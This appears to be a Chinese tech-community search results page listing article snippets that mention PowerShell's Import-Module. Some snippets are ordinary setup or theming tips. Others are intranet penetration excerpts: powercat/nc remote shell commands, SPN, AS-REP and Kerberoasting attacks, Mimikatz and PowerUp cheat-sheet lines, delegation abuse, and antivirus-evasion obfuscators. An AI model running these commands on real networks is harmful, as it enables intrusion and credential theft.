首页
学习
活动
专区
圈层
工具
发布
    • 综合排序
    • 最热优先
    • 最新优先
    时间不限
  • 来自专栏开心的平凡酱

    Import-Module ServerManager Import-Module : 未能加载指定的模块“ServerManager”,因为在任何模块目录中都没有找到有效模块文件..

    WindowsPowerShell\v1.0 powershell -ExecutionPolicy "UnRestricted" -File C:\InstallDotNET.ps1 InstallDotNET.ps1 import-module

    4.4K20发布于 2020-10-09
  • 来自专栏李珣

    Exchange 2010安装各角色先决条件的Powershell

    开启powershell控制台:执行命令:Import-Module ServerManager 2.       然后根据所装角色,添加相应的功能! 1)  安装CAS,HUB,MB角色时: Import-Module ServerManager Add-WindowsFeature NET-Framework,RSAT-ADDS,Web-Server Web-Digest-Auth,Web-Dyn-Compression,NET-HTTP-Activation,RPC-Over-HTTP-Proxy -Restart 4)  安装HUB,MB角色时 Import-Module Web-Digest-Auth,Web-Dyn-Compression,NET-HTTP-Activation,RPC-Over-HTTP-Proxy -Restart 7)  安装HUB或者MB角色时 Import-Module Web-Metabase,Web-Net-Ext,Web-Lgcy-Mgmt-Console,WAS-Process-Model,RSAT-Web-Server -Restart 8)  安装UM角色时 Import-Module

    1K30发布于 2019-03-14
  • 来自专栏谢公子学安全

    Powercat.ps1脚本的用法

    正向连接 Windows上的powercat正向连接Kali上的nc Kali(192.168.10.11): nc -lvp 8888 Windows: Import-Module . \powercat.ps1 powercat -l -p 8888 客户端连接: Import-Module . \powercat.ps1 powercat -c 192.168.10.1 -p 8888 -ep 方法二: 服务器监听(192.168.10.1): Import-Module . 接收端:Windows10(192.168.10.1) Import-Module . \powercat.ps1 powercat -l -p 8888 -of test.txt -v 发送端:Windows7(192.168.10.130) Import-Module .

    88320编辑于 2022-01-20
  • 来自专栏谢公子学安全

    内网渗透 | 域渗透之SPN服务主体名称

    \Discover-PSMSExchangeServers.ps1;Discover-PSMSExchangeServers #扫描域中所有的SPN信息 Import-Module . Import-Module . #Powershellery/Stable-ish/Get-SPN/ 下Get-SPN.psm1脚本的使用,需要powershell3.0及以上版本才能使用 Import-Module . Import-Module . Import-Module .

    2.7K10编辑于 2022-01-19
  • 来自专栏谢公子学安全

    RDP登录相关

    我们可以使用CheckRdpStatus.ps1脚本查询RDP的状态 Import-Module . 00000001 /f 或者也可以使用RegfDenyTSConnections.ps1脚本开启或关闭RDP状态,通过powershell脚本开启或关闭RDP,不会被杀毒软件拦截 开启RDP服务: Import-Module RegfDenyTSConnections.ps1 RegfDenyTSConnections 0 关闭RDP服务: Import-Module RegfDenyTSConnections.ps1 LogonType']='10'] and System[(EventID=4624)]]" /f:text /rd:true /c:10 也可以使用EventLogSuccess.ps1脚本查询 Import-Module Import-Module .\EventLogFailed.ps1 EventLogFailed 关于RDP相关的功能我已经集成在CS插件中,如下:

    1.2K10编辑于 2022-01-20
  • 来自专栏禅境花园

    Windows Terminal 终极美化

    code $PROFILE 在打开的Microsoft.PowerShell_profile.ps1 ,把和 oh-my-posh 的配置干掉,替换成新的: # old # Import-Module DirColors # Import-Module posh-git # Import-Module oh-my-posh # Import-Module git-aliases # Set-PoshPrompt 新的命令 自动补全历史命令,逐字补全,powershell版本需要大于5.1 (下方有更新链接) # 自动补全历史命令,逐字补全 Import-Module PSReadLine Set-PSReadLineOption DirColors Import-Module posh-git Import-Module oh-my-posh Import-Module git-aliases Set-PoshPrompt - DirColors Import-Module posh-git Import-Module oh-my-posh Import-Module git-aliases Set-PoshPrompt

    4.8K20编辑于 2022-10-25
  • 来自专栏python3

    Windows PowerShell:(

    PS C:\Users\Administrator> Import-Module ServerManager PS C:\Users\Administrator>   注:仅对此进程有效。 http://www.iis.net/downloads/microsoft/powershell 2、加载Web管理模块 PS C:\Users\Administrator> Import-Module Import-Module : 无法加载文件 C:\Windows\system32\WindowsPowerShell\v1.0\Modules\PSDiagnostics\PSDiagnostics.psm1 所在位置 行:1 字符: 42 + Get-Module -ListAvailable | Import-Module <<<<     + CategoryInfo          : NotSpecified 帮助 (默认值为“Y”): y PS C:\Users\Administrator> Import-Module WebAdministration   如果在ps1脚本中不允许交互,则需要强制修改权限

    4.1K30发布于 2020-01-07
  • 来自专栏折影轻梦

    美化你的终端

    启用 oh-my-posh 与 posh-git Import-Module posh-git Import-Module oh-my-posh 设置主题 Set-Theme Agnoster 可选列表 打开控制台输出目录中的文件,输入配置项并保存 Import-Module oh-my-posh Set-Theme Agnoster ?

    1.1K20发布于 2021-08-11
  • 来自专栏全栈程序员必看

    Cocos移植Android-Android.mk编译后的文件

    LOCAL_WHOLE_STATIC_LIBRARIES += box2d_static include $(BUILD_SHARED_LIBRARY) ⑧ $(call import-module ,2d) ⑨ $(call import-module,audio/android) $(call import-module,Box2D) 以下我们解释一下这些项目的含义,第① 第⑨行代码$(call import-module,2d)是通过文件夹名包括还有一个模块的Android.mk。当中2d是模块文件夹名。 提示 库是一些没有main函数的程序代码的集合。

    91220编辑于 2022-07-18
  • 来自专栏FreeBuf

    Xencrypt:一款基于PowerShell脚本实现的反病毒绕过工具

    使用随机化变量名以进一步实现混淆处理; 5、随机化加密和压缩,还可以调整语句在代码中的顺序,以获得最大熵; 6、可根据用户需求自行修改并创建自己的密码器变种; 7、支持递归分层加密,最多可支持500层加密; 8、支持Import-Module 以及标准方式来运行; 9、GPLv3-开源许可证协议; 10、所有的功能都以单一文件实现,最大程度实现灵活性; 工具使用 广大研究人员可以直接使用下列命令来生成加密和压缩处理后的新脚本: Import-Module 你可以按照正常的脚本使用方式来运行或使用该脚本: Import-Module .

    1.2K10发布于 2020-03-24
  • 来自专栏FreeBuf

    Monkey365:一款针对Microsoft 365和Azure的安全配置审查工具

    工具来解锁文件: Get-ChildItem -Recurse c:\monkey365 | Unblock-File(向右滑动,查看更多) 在你的设备上安装好了Monkey365模块之后,我们还需要使用Import-Module 假设你的Monkey365位于PSModulePath路径中,那么可以使用下列命令并通过PowerShell直接将Monkey365加载到活动内存中: Import-Module monkey365 如果 Monkey365不在PSModulePath路径中,我们可以使用下列命令来实现导入: Import-Module C:\temp\monkey365 我们还可以使用Force参数向相同会话重新导入Monkey365 模块: Import-Module C:\temp\monkey365 -Force  工具使用  下列命令将提供Monkey365所有可用的命令行选项: Get-Help Invoke-Monkey365

    76830编辑于 2023-03-29
  • 来自专栏谢公子学安全

    企业域安全设置

    Import-Module . dn GREATER SNOW domain controllers 针对Domain Admins的绕过,使用PowerView.ps1脚本的Get-NetDomainController 方法 Import-Module objectversion GREATER SNOW domain computers 针对Domain computers的绕过,使用PowerView.ps1脚本的Get-NetComputer方法 Import-Module

    1.6K30编辑于 2022-01-20
  • 来自专栏谢公子学安全

    内网渗透(五) | AS-REP Roasting攻击

    hash.txt pass.txt --force 方法二:使用powershell脚本 1:使用Empire下的powerview.ps1查找域中设置了 "不需要kerberos预身份验证" 的用户 Import-Module \powerview.ps1 Get-DomainUser -PreauthNotRequired 2:使用ASREPRoast.ps1获取AS-REP返回的Hash Import-Module . 使用Get-ASREPHash,通过指定Server的参数即可 Import-Module .

    3.1K10编辑于 2022-01-19
  • 来自专栏乐百川的学习频道

    配置酷酷的Windows Powershell

    Import-Module posh-git Import-Module oh-my-posh Set-Theme PowerLine 是不是感觉Powershell的美观程度一下子上去了。 Directory -Force '~\Documents\PowerShell' Set-Content '~\Documents\PowerShell\Profile.ps1' -Value @" Import-Module posh-git Import-Module oh-my-posh Set-Theme PowerLine "@ 这样一来,不管是哪个Powershell窗口,都可以使用ohmyposh插件来美化终端了

    3K30发布于 2020-02-23
  • 来自专栏鸿鹄实验室

    Windows Red Team Cheat Sheet

    shit. https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1 powershell.exe -c "Import-Module C:\Users\Public\PowerUp.ps1; Invoke-AllChecks" powershell.exe -c "Import-Module C:\Users\Public\Get-System.ps1 cached tickets Invoke-Mimikatz -Command '"kerberos::list"' powershell.exe -c "klist" powershell.exe -c "Import-Module GetUserSPNs.py -request ECORP/morph3:supersecurepassword@127.0.0.1 # Export tickets powershell.exe -c "Import-Module https://github.com/NetSPI/PowerUpSQL Get-SQLServerLink -Instance server -Verbose powershell.exe -c "Import-Module

    1.6K30发布于 2021-04-15
  • 来自专栏前端开发

    windows中使用Oh My Posh美化你的终端PowerShell或CMD

    \\bin\\oh-my-posh.exe init pwsh --config $env:POSH_THEMES_PATH\montys.omp.json | Invoke-Expression Import-Module posh-git # 引入 posh-git Import-Module PSReadLine # 历史命令联想 # 设置预测文本来源为历史记录 Set-PSReadLineOption -PredictionSource 安装 Install-Module -Name posh-git -Scope CurrentUser 安装完成后,重启 PowerShell 并输入以下命令启用 posh-git:Import-Module posh-git 不生效的话可以在前面的配置文件 Microsoft.PowerShell_profile.ps1中追加以下内容 Import-Module posh-git # 引入 posh-git Install-Module PSReadLine -AllowPrerelease -Force 然后修改前面的配置文件 Microsoft.PowerShell_profile.ps1,在末尾追加以下内容: Import-Module

    8.1K10编辑于 2024-08-06
  • 来自专栏Cyber Security

    【内网安全】横向移动-域渗透之资源约束委派

    xd域内普通用户 增加机器 https://github.com/Kevin-Robertson/Powermad Set-ExecutionPolicy Bypass -Scope Process Import-Module 对应的添加了一个serviceA电脑 获取sid https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1 Import-Module 21-1695257952-3088263962-2055235443-1108 设置修改属性 powershell Set-ExecutionPolicy Bypass -Scope Process import-module

    55510编辑于 2024-07-18
  • 来自专栏叹世界

    Windows-Terminal 美化以及通过 OhMyPosh 美化 PowerShell

    RequiredVersion "3.106.7" 最后再确认一下是否卸载成功 自定义 PowerShell 提示符 现在当前 PowerShell 窗口导入 posh-git 和 oh-my-posh Import-Module posh-git Import-Module oh-my-posh 然后我们输入以下命令来预览效果 Get-PoshThemes 选择你喜欢的主题,记住他的名称,我这里选择 honukai 主题 输入这个命令 notepad $PROFILE 添加以下内容,在每次打开 PowerShell 的时候,就会执行里面的命令 Import-Module posh-git Import-Module oh-my-posh

    4K30编辑于 2022-01-12
  • 来自专栏FreeBuf

    Invoke-Obfuscation:一款功能强大的PowerShell代码混淆工具

    github.com/danielbohannon/Invoke-Obfuscation.git (向右滑动,查看更多)  工具安装  我们可以直接使用下列命令安装并调用Invoke-Obfuscation: Import-Module 工具运行命令如下: Import-Module .

    86620编辑于 2023-03-29
  • 来自专栏内网安全学习笔记

    Kerberoasting

    拿到有价值的SPN 注册于域用户账户(Users)下 域用户账户的权限很高 1.使用Powershell模块Active Directory Actice Directory模块 需要提前安装,域控自带 import-module 文件可在github上自行下载 https://github.com/3gstudent/test/blob/master/Microsoft.ActiveDirectory.Management.dll import-module \Microsoft.ActiveDirectory.Management.dll 2.使用Powerview Import-Module Powerview.ps1 Get-NetUser -spn -admincount | select name,whencreated,pwdlastset,lastlogon 3.利用Kerberoast Import-Module GetUserSPNs.ps1

    75920编辑于 2023-04-17
领券